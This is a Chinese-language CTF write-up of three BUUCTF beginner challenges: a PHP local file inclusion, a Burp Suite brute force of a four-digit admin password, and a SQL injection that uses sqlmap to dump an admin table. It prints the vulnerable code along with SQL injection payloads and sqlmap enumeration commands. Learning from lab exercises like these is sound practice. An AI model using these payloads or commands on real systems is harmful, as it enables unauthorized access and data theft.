前言:题目来源BUUCTF。BUU不知何时单开了一个Basic分类,很适合作为CTF教程。
目录:
一、BUU LFI COURSE 1
靶机主页只有以下高亮代码:
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/7/9
* Time: 7:07 AM
*/
highlight_file(__FILE__);
if(isset($_GET['file'])) {
$str = $_GET['file'];
include $_GET['file'];
}
从题目名LFI(Local File Inclusion)应该知道这是一个文件包含漏洞题。那么逐行分析代码如下:
<?php
highlight_file(__FILE__); // 自打印,用于显示题目的代码
if(isset($_GET['file'])) { // 检测是否接到GET请求传值
$str = $_GET['file']; // 无关代码。将接收到的file值传给变量$str
include $_GET['file']; // 文件包含
}
直接构造url如下即可用GET传值给靶机,查看任何你想看的文件。在这里这个值是文件名。
http://靶机地址:端口号?file=文件名
顺便一提,本题flag明文在文件flag中1,该文件被放在了靶机根目录(/),放的有点太远了,导致我在/var/www/html下用各种FL4G、flag.txt、flag.php等等名称试了半天。
二、BUU BRUTE 1
看题目名应该是一道爆破题。爆破题一般要记得给靶机续期,免得对着空气打几个小时。
代码如下,能接受两个GET请求传值username和password:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login</title>
</head>
<body>
<form method="get">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<input type="submit" value="Submit" />
</form>
</body>
</html>
用户名密码随便设个值,构造URL如下:
http://靶机地址:端口号/?username=1&password=1
页面显示”用户名错误“。尝试一个常见用户名admin:
/?username=admin&password=1
报错变为“密码错误,为四位数字。“
现在用Burp Suite爆破。首先打开它的内置浏览器,输入靶机地址,提交用户名admin、密码1234之后,开始拦截监听(intercept),然后刷新一次页面。得到请求如下:
GET /?username=admin&password=1234 HTTP/1.1
Host: 靶机地址:端口号
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: 我的电脑的浏览器UA信息
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
然后点击操作(Action),选择发到破解器(Send to Inchuder),然后打开Inchuder界面设置一个爆破点password。
一般Burp Suite会自动为你设置两个爆破点:用户名和密码,但是在这里,我们只想要爆破用户admin的密码,所以去掉用户名两侧的爆破标记”§“。
现在转到Payloads页面定义我们的攻击Payload,在这里我们将Payload设为数字类型(Number),范围从0到9999,然后设置最短长度(Min integer dligits)与最大长度(Max integer dligits)均为4,就可以开始爆破了。
☝️🤓欸,那状态码要不是200怎么办呢,这个时候优先去检查一下你的靶机是不是到期了。BUU的靶机声称有一个小时,实际上好像差个几分钟,记得提前续期。
我们还需要将爆破成功的请求与一众失败请求中区分出来,主要方法就是比对响应长度(Length)——所有失败请求的长度都是一样的,只有成功的那一个不同,而且一般来说比其他的失败报文要长一些。于是我们选择按长度对结果排序,然后稍等片刻就可以了。
上图虽然还没爆破完,但显示发现了某个异常报文长度为285,与其他报文均不一样,说明成功。用账户admin、密码6490登陆后,成功获取到了flag。
三、BUU SQL COURSE 1
看标题是SQL注入题。靶机主页有一个【登录】页面如下(前端可用信息不多):
信息太少,先去Burp suite抓个包,账密随便填一个:
POST /backend/login.php HTTP/1.1
Host: 00978e9a-4e4e-46f7-a771-f4c2821baa54.node5.buuoj.cn:81
Content-Length: 37
// 各种信息等等......
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"username":"admin","password":"123"}
看到登录为POST请求,且登录代码在/backend/login.php。现在手动修改一下用户名或密码,多尝试几次绕过(使SQL查询条件永远为真),然后重发。以下是几个例子:
{"username":"admin' OR '1'='1","password":"123"}// 布尔注入
{"username":"' OR ''='","password":"123"} // 空值注入
{"username":"admin' UNION SELECT null, null, database() --","password":"123"}// 联合查询
经过了以上的几种注入尝试、甚至使用SQLmap之后,貌似都不太行。此时想到靶机还有一个【热点】页面,内有三条数据,其中一个内容如下:
可能注入点在此。重新抓一次包(抓包时间在点击选项前)搜集信息:
GET /backend/content_detail.php?id=1 HTTP/1.1
Host: 靶机地址
Accept: application/json, text/plain, */*
// 各种信息......
Accept-Language: zh-CN,zh;q=0.9
Connection: close
看到显示新闻这个行为是GET请求,且代码在/backend/content_detail.php,参数为id。再次打开sqlmap扫数据库:
sqlmap -u "http://靶机地址:端口号/backend/content_detail.php?id=1" --dbs
扫出六个数据库,其中news数据库貌似就是这个新闻页面所使用的。直接进入:
sqlmap -u "太长了省略" -D news --tables
扫出来俩表,admin和contents。contents显然是新闻文本所在的表,先看此表内容:
sqlmap -u "太长了省略" -D news -T contents
表格中仅有三条新闻数据。不过另一个表的名称可比这新闻表吸引力大多了,也就是admin表,有可能与前文注入失败的登录页面有关。直接打开:
sqlmap -u "太长了省略" -D news -T admin
果然得到数据如下:
+----+----------------------------------+----------+
| id | password | username |
+----+----------------------------------+----------+
| 1 | 7f9bd1a0741cd94db531d3cfea019645 | admin |
+----+----------------------------------+----------+
说实话,如果这不是练习题,我会倾向于认为这密码是md5密文,然后去氪解密工具,在等上大几天。但这里是BUU CTF基础题库,我们把它当作管理员密码明文,直接去输入,果然成功得到flag。
脚注:
- 为什么这个文件没有后缀?这是Linux所使用的文件系统导致的。在 Linux 中,文件的用途往往由其内容决定,而不是像Windows那样用文件扩展名来区分文件类型。 ↩︎
最新评论